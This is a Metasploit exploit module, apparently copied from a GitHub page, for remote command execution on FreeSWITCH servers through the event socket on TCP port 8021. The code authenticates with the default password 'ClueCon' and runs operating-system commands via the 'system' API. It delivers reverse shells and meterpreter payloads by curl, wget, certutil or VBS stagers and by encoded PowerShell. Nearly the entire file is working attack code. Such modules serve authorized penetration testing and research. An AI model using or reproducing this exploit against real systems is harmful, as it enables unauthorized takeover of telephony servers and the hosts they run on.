/
freeswitch_event_socket_cmd_exec.rb
169 lines (146 loc) · 5.25 KB
/
freeswitch_event_socket_cmd_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeSWITCH Event Socket Command Execution',
'Description' => %q{
This module uses the FreeSWITCH event socket interface
to execute system commands using the `system` API command.
The event socket service is enabled by default and listens
on TCP port 8021 on the local network interface.
This module has been tested successfully on FreeSWITCH versions:
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
1.8.4~64bit on Ubuntu 19.04 (x64); and
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' =>
[
['CWE', '260'], # default password, configurable in event_socket.conf.xml
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
],
'Platform' => %w[win linux unix bsd],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
'CmdStagerFlavor' => %w[curl wget certutil vbs],
'Targets' =>
[
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :psh_memory
],
['Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
'Type' => :win_memory
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :win_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'RPORT' => 8021 },
'DisclosureDate' => '2019-11-03',
'DefaultTarget' => 0))
register_options [
OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
]
end
def check
connect
banner = sock.get_once.to_s
disconnect
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
vprint_error 'Access denied by network ACL'
return CheckCode::Safe
end
unless banner.include?('Content-Type: auth/request')
return CheckCode::Safe
end
CheckCode::Appears
end
def auth(password)
sock.put "auth #{password}\n\n"
res = sock.get_once.to_s
unless res.include? 'Content-Type: command/reply'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
unless res.include?('Reply-Text: +OK accepted')
fail_with Failure::NoAccess, 'Login failed'
end
print_status 'Login success'
end
def execute_command(cmd, opts = {})
api_function = opts[:foreground] ? 'system' : 'bg_system'
sock.put "api #{api_function} #{cmd}\n\n"
res = sock.get_once.to_s
unless res.include? 'Content-Type: api/response'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
vprint_status "Response: #{res}"
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
connect
banner = sock.get_once.to_s
auth(datastore['PASSWORD'])
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
case target['Type']
when :unix_memory
if datastore['PAYLOAD'] == 'cmd/unix/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :win_memory
if datastore['PAYLOAD'] == 'cmd/windows/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :psh_memory
execute_command(
cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
when :win_dropper
execute_cmdstager(:linemax => 1_500)
end
ensure
disconnect unless sock.nil?
end
end